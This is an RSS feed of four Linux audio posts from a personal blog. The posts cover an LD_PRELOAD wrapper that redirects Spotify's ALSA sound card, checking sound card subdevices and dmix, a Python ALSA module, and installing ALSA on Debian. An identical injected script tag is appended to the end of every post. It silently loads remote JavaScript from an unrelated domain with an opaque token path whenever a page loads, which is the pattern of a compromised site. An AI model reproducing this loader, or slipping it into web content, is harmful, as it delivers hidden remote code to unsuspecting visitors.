<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Jkx@home &#187; alsa</title>
	<atom:link href="http://www.larsen-b.com/tags/alsa/feed" rel="self" type="application/rss+xml" />
	<link>http://www.larsen-b.com</link>
	<description>Titanium Exposé</description>
	<lastBuildDate>Fri, 31 Oct 2025 02:15:37 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.5</generator>
		<item>
		<title>Change the default sound card in Spotify : Alsa + Monkey Patching</title>
		<link>http://www.larsen-b.com/Article/425.html</link>
		<comments>http://www.larsen-b.com/Article/425.html#comments</comments>
		<pubDate>Sat, 08 Dec 2012 13:12:27 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Unix]]></category>
		<category><![CDATA[alsa]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[spotify]]></category>

		<guid isPermaLink="false">http://www.larsen-b.com/?p=425</guid>
		<description><![CDATA[I&#8217;m a long time Spotify user right now. I decided to opt for a unlimited account due to the price. The main issue : Spotify for Linux is a closed source software, doesn&#8217;t allow the user to change the sound &#8230; <a href="http://www.larsen-b.com/Article/425.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>I&#8217;m a long time <a href="http://www.spotify.com">Spotify</a> user right now. I decided to opt for a unlimited account due to the price. The main issue : Spotify for Linux is a closed source software, doesn&#8217;t allow the user to change the sound card and I want to use my <a href="http://www.larsen-b.com/Article/414.html">almost finished USB DAC</a>.</p>
<p>In fact, if you use <a href="http://jackaudio.org/">Jackd</a> (and perhaps Pulse) you can change the sound card used by Spotify, but this is overkill for my needs (mainly cause, I use Spotify on a litte old netbook and Jackd is a nightmare to configure)</p>
<p>After some strace dump, Alsa (libasound2) source reading, I decided to fix it by myself. Let&#8217;s go for some <a href="http://en.wikipedia.org/wiki/Monkey_patch">Monkey Patching</a>. Monkey patching on closed source binary isn&#8217;t that easy, the hard step : find the right function to hack. Here the<a href="http://equalarea.com/paul/alsa-audio.html"> Alsa tutorial</a> come to rescue (ldd of course too). So we need to modify the <em>snd_pcm_open</em> call.</p>
<p>Let&#8217;s give it a try : First we need to dynamically re-route this call to a wrapper. The easier way to do this, is to build a special library and to force Spotify to use the wrapper with an <a href="http://en.wikipedia.org/wiki/Dynamic_linker">LD_PRELOAD</a> hack. (see code below). In fact, Spotify call the <em>snd_pcm_open</em> with <em>name=&#8221;default&#8221;</em> which is the default sound card, so we can change this to &#8220;usb&#8221; for example, and fix the .asoundrc to point &#8220;usb&#8221; sound card to the right hardware card.</p>
<p>That&#8217;s enough, let&#8217;s code :</p>
<pre>
<font color="0000ff"><strong>#define _GNU_SOURCE</strong></font>

<font color="0000ff"><strong>#include <font color="#008000">&lt;dlfcn.h&gt;</font></strong></font>
<font color="0000ff"><strong>#include <font color="#008000">&lt;stdio.h&gt;</font></strong></font>
<font color="0000ff"><strong>#include <font color="#008000">&lt;alsa/asoundlib.h&gt;</font></strong></font>

<strong>static</strong> <strong>int</strong> <font color="4444FF">(</font><font color="4444FF">*</font><font color="#2040a0">wrap_snd_pcm_open</font><font color="4444FF">)</font><font color="4444FF">(</font><font color="#2040a0">snd_pcm_t</font> <font color="4444FF">*</font><font color="4444FF">*</font><font color="#2040a0">pcm</font>, <strong>const</strong> <strong>char</strong> <font color="4444FF">*</font><font color="#2040a0">name</font>, <font color="#2040a0">snd_pcm_stream_t</font> <font color="#2040a0">stream</font>, <strong>int</strong> <font color="#2040a0">mode</font><font color="4444FF">)</font> <font color="4444FF">=</font> <font color="#2040a0">NULL</font><font color="4444FF">;</font>

<strong>void</strong> <font color="4444FF">*</font> <font color="#2040a0">wrap</font><font color="4444FF">(</font><strong>void</strong> <font color="4444FF">*</font> <font color="#2040a0">func</font>,<strong>char</strong> <font color="4444FF">*</font><font color="#2040a0">name</font><font color="4444FF">)</font>
<font color="4444FF"><strong>{</strong></font>
    <strong>char</strong> <font color="4444FF">*</font><font color="#2040a0">msg</font><font color="4444FF">;</font>
    <strong>if</strong> <font color="4444FF">(</font><font color="#2040a0">func</font> <font color="4444FF">=</font><font color="4444FF">=</font> <font color="#2040a0">NULL</font><font color="4444FF">)</font> <font color="4444FF"><strong>{</strong></font>
        <font color="#2040a0">func</font> <font color="4444FF">=</font> <font color="#2040a0">dlsym</font><font color="4444FF">(</font><font color="#2040a0">RTLD_NEXT</font>, <font color="#2040a0">name</font><font color="4444FF">)</font><font color="4444FF">;</font>
        <font color="#2040a0">fprintf</font><font color="4444FF">(</font><font color="#2040a0">stderr</font>, <font color="#008000">&quot;** wrapping %s =&gt;  %p<font color="#77dd77">\n</font>&quot;</font>, <font color="#2040a0">name</font>,<font color="#2040a0">func</font><font color="4444FF">)</font><font color="4444FF">;</font>
        <strong>if</strong> <font color="4444FF">(</font><font color="4444FF">(</font><font color="#2040a0">msg</font> <font color="4444FF">=</font> <font color="#2040a0">dlerror</font><font color="4444FF">(</font><font color="4444FF">)</font><font color="4444FF">)</font> <font color="4444FF">!</font><font color="4444FF">=</font> <font color="#2040a0">NULL</font><font color="4444FF">)</font> <font color="4444FF"><strong>{</strong></font>
            <font color="#2040a0">fprintf</font><font color="4444FF">(</font><font color="#2040a0">stderr</font>, <font color="#008000">&quot;** %s: dlopen failed : %s<font color="#77dd77">\n</font>&quot;</font>, <font color="#2040a0">name</font>,<font color="#2040a0">msg</font><font color="4444FF">)</font><font color="4444FF">;</font>
            <font color="#2040a0">exit</font><font color="4444FF">(</font><font color="#FF0000">1</font><font color="4444FF">)</font><font color="4444FF">;</font>
        <font color="4444FF"><strong>}</strong></font> <strong>else</strong> <font color="4444FF"><strong>{</strong></font>
            <font color="#2040a0">fprintf</font><font color="4444FF">(</font><font color="#2040a0">stderr</font>, <font color="#008000">&quot;** %s: wrapping done<font color="#77dd77">\n</font>&quot;</font>,<font color="#2040a0">name</font><font color="4444FF">)</font><font color="4444FF">;</font>
        <font color="4444FF"><strong>}</strong></font>
    <font color="4444FF"><strong>}</strong></font>
    <strong>return</strong> <font color="#2040a0">func</font><font color="4444FF">;</font>
<font color="4444FF"><strong>}</strong></font>

<strong>int</strong> <font color="#2040a0">snd_pcm_open</font><font color="4444FF">(</font><font color="#2040a0">snd_pcm_t</font> <font color="4444FF">*</font><font color="4444FF">*</font><font color="#2040a0">pcm</font>, <strong>const</strong> <strong>char</strong> <font color="4444FF">*</font><font color="#2040a0">name</font>, <font color="#2040a0">snd_pcm_stream_t</font> <font color="#2040a0">stream</font>, <strong>int</strong> <font color="#2040a0">mode</font><font color="4444FF">)</font>
<font color="4444FF"><strong>{</strong></font>
    <strong>int</strong> <font color="#2040a0">temp</font><font color="4444FF">;</font>

    <font color="#2040a0">sprintf</font><font color="4444FF">(</font><font color="#2040a0">name</font>,<font color="#008000">&quot;usb&quot;</font><font color="4444FF">)</font><font color="4444FF">;</font>

    <font color="#2040a0">wrap_snd_pcm_open</font> <font color="4444FF">=</font> <font color="#2040a0">wrap</font><font color="4444FF">(</font><font color="#2040a0">wrap_snd_pcm_open</font>,<font color="#008000">&quot;snd_pcm_open&quot;</font><font color="4444FF">)</font><font color="4444FF">;</font>
    <font color="#2040a0">temp</font> <font color="4444FF">=</font> <font color="#2040a0">wrap_snd_pcm_open</font><font color="4444FF">(</font><font color="#2040a0">pcm</font>,<font color="#2040a0">name</font>,<font color="#2040a0">stream</font>,<font color="#2040a0">mode</font><font color="4444FF">)</font><font color="4444FF">;</font>
    <font color="#2040a0">fprintf</font><font color="4444FF">(</font><font color="#2040a0">stderr</font>, <font color="#008000">&quot;** Calling snd_pcm_open for path:[%s] =&gt; fd:[%d]<font color="#77dd77">\n</font>&quot;</font>,<font color="#2040a0">name</font>,<font color="#2040a0">temp</font><font color="4444FF">)</font><font color="4444FF">;</font>
    <font color="#2040a0">fflush</font><font color="4444FF">(</font><font color="#2040a0">stderr</font><font color="4444FF">)</font><font color="4444FF">;</font>
    <strong>return</strong> <font color="#2040a0">temp</font><font color="4444FF">;</font>

<font color="4444FF"><strong>}</strong></font>
</pre>
<p>As you can see in the code, I use a generic wrapper function because during my code session, I used this function to re-route some other functions. To build the library :</p>
<pre>gcc -g -fPIC -shared -Wl,-soname,preload.so -ldl -o preload.so  main.c</pre>
<p>Load the lib, with export LD_PRELOAD=./preload.so before running Spotify. Spotify (and all other software using Alsa) will use &#8220;usb&#8221; as default sound card.</p>
<p>Note: C reader will note that name is a const char pointer, and so we can&#8217;t change it, but even if gcc raise a big warning, the code do trick fine.</p>
<p><strong>Enjoy good quality sound even w/ closed source </strong><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/425.html/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Playing music on soundcard without locking</title>
		<link>http://www.larsen-b.com/Article/194.html</link>
		<comments>http://www.larsen-b.com/Article/194.html#comments</comments>
		<pubDate>Wed, 09 Feb 2005 09:06:24 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Other]]></category>
		<category><![CDATA[alsa]]></category>
		<category><![CDATA[audio]]></category>
		<category><![CDATA[computer]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[soundcard]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[Why this soundcard allow me to play 2 mp3 at the same time while this doesn&#8217;t.. Hum good question. In fact to support this kind of stuff the sound card should support have some sub-device, to be sure .. simply &#8230; <a href="http://www.larsen-b.com/Article/194.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>Why this soundcard allow me to play 2 mp3 at the same time while this doesn&#8217;t.. Hum good question. In fact to support this kind of stuff the sound card should support have some sub-device, to be sure .. simply <strong>aplay -l</strong></p>
<p>Here on my shuttle .. not working</p>
<pre class="literal-block">aplay -l
**** List of PLAYBACK Hardware Devices ****
card 0: IXP [ATI IXP], device 0: ATI IXP AC97 [ATI IXP AC97]
Subdevices: 1/1
Subdevice #0: subdevice #0
card 0: IXP [ATI IXP], device 1: ATI IXP IEC958 [ATI IXP IEC958 (AC97)]
Subdevices: 1/1
Subdevice #0: subdevice #0</pre>
<p>Here on another box (VIA C3 based)</p>
<pre class="literal-block">aplay -l
**** List of PLAYBACK Hardware Devices ****
card 0: V8235 [VIA 8235], device 0: VIA 8235 [VIA 8235]
Subdevices: 4/4
Subdevice #0: subdevice #0
Subdevice #1: subdevice #1
Subdevice #2: subdevice #2
Subdevice #3: subdevice #3
card 0: V8235 [VIA 8235], device 1: VIA 8235 [VIA 8235]
Subdevices: 1/1
Subdevice #0: subdevice #0</pre>
<p>So yes the C3 can play 4 stream at the same time, while the AC97 doesn&#8217;t.</p>
<p>Another way to do this is to use <a class="reference" href="http://www.alsa-project.org/alsa-doc/doc-php/asoundrc.php#softmix">software mixing</a></p>
<p><strong>Update:</strong></p>
<p>To use the software mix in Alsa: simply change the pcm.default to pcm.dmix</p>
<pre class="literal-block">#pcm.default cards.pcm.default
pcm.default pcm.dmix</pre>
<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/194.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Python Alsa module</title>
		<link>http://www.larsen-b.com/Article/115.html</link>
		<comments>http://www.larsen-b.com/Article/115.html#comments</comments>
		<pubDate>Sat, 08 May 2004 12:07:20 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Misc]]></category>
		<category><![CDATA[alsa]]></category>
		<category><![CDATA[Python]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[Regis just release the first version of python alsa module. Beside this is a part of a really large program, i &#8216;ve been working on for a while, i don&#8217;t really know this part. Phil and Regis decided to distribute &#8230; <a href="http://www.larsen-b.com/Article/115.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>Regis just release the first version of python alsa module. Beside this is a part of a really large program, i &#8216;ve been working on for a while, i don&#8217;t really know this part. Phil and Regis decided to distribute it alone.</p>
<p>For more infos check:</p>
<ul class="simple">
<li><a class="reference" href="http://base-art.net/wk/Article/6.html">http://base-art.net/wk/Article/6.html</a> Phil blog</li>
<li><a class="reference" href="http://respyre.org/pyalsa.html">http://respyre.org/pyalsa.html</a> PyAlsa webpage</li>
</ul>
<p>&#8211; Enjoy sound :)<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/115.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Howto install Alsa on Debian (kernel 2.4)</title>
		<link>http://www.larsen-b.com/Article/87.html</link>
		<comments>http://www.larsen-b.com/Article/87.html#comments</comments>
		<pubDate>Tue, 20 Jan 2004 22:38:22 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Other]]></category>
		<category><![CDATA[alsa]]></category>
		<category><![CDATA[linux]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[Installing Alsa (as a lot of linux kernel module) on Debian (w/ debian package) can be a real pain. But this one is really simple: - apt-get install alsa-base - apt-get install alsa-source Take care that alsa-base ask you which &#8230; <a href="http://www.larsen-b.com/Article/87.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>Installing Alsa (as a lot of linux kernel module) on Debian (w/ debian package) can be a real pain. But this one is really simple:<br />
- apt-get install alsa-base<br />
- apt-get install alsa-source</p>
<p>Take care that alsa-base ask you which sound card you have. This is needed for building the init-script.</p>
<p>Next:</p>
<pre class="literal-block">cd /usr/src/
tar xvfj  alsa-driver.tar.bz2
cd modules/alsa-driver
./configure
make
make install
/etc/init.d/alsa start</pre>
<p>Take care that by default all mixer are off !!</p>
<p>&#8211; Enjoy using gnomemeeting<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/87.html/feed</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
	</channel>
</rss>
